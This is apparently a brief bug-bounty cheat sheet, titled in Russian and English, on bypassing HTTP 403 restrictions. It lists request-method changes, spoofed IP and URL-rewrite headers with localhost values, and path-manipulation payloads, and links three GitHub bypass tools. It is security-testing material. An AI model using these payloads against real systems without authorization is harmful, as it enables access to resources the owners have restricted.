Статья All About 403 Bypass

[timeshout]

1. Изменение метода запроса

→GET to POST

→GET to TRACE

→GET to OPTIONS

2. HTTP Headers

X-Custom-IP-Authorization:
X-Custom-IP-Authorization + ..;:
X-Original-URL:
X-Rewrite-URL:
X-Originating-IP:
X-Forwarded-For:
X-Remote-IP:
X-Client-IP:
X-Host:
X-Forwarded-Host:

[HEADING=1]Values you can use:[/HEADING]
localhost
localhost:443
127.0.0.1
127.0.0.1:80
10.0.0.0
192.168.1.1

3. Path manipulation

file?:
//file//
file??:
file//.//./
file//:
file%09
file/./:
file.html
/%2e/file
file..;:
file.php
file.json
file.html

4. Tools

GitHub - iamj0ker/bypass-403: A simple script just made for self use for bypassing 403

A simple script just made for self use for bypassing 403 - iamj0ker/bypass-403

github.com

GitHub - Dheerajmadhukar/4-ZERO-3: 403/401 Bypass Methods + Bash Automation + Your Support ;)

403/401 Bypass Methods + Bash Automation + Your Support ;) - GitHub - Dheerajmadhukar/4-ZERO-3: 403/401 Bypass Methods + Bash Automation + Your Support ;)

github.com

GitHub - lobuhi/byp4xx: Pyhton script for HTTP 40X responses bypassing. Features: Verb tampering, headers, #bugbountytips, User-Agents, extensions, default credentials and fuzzing.

Pyhton script for HTTP 40X responses bypassing. Features: Verb tampering, headers, #bugbountytips, User-Agents, extensions, default credentials and fuzzing. - GitHub - lobuhi/byp4xx: Pyhton script ...

github.com

All About 403 Bypass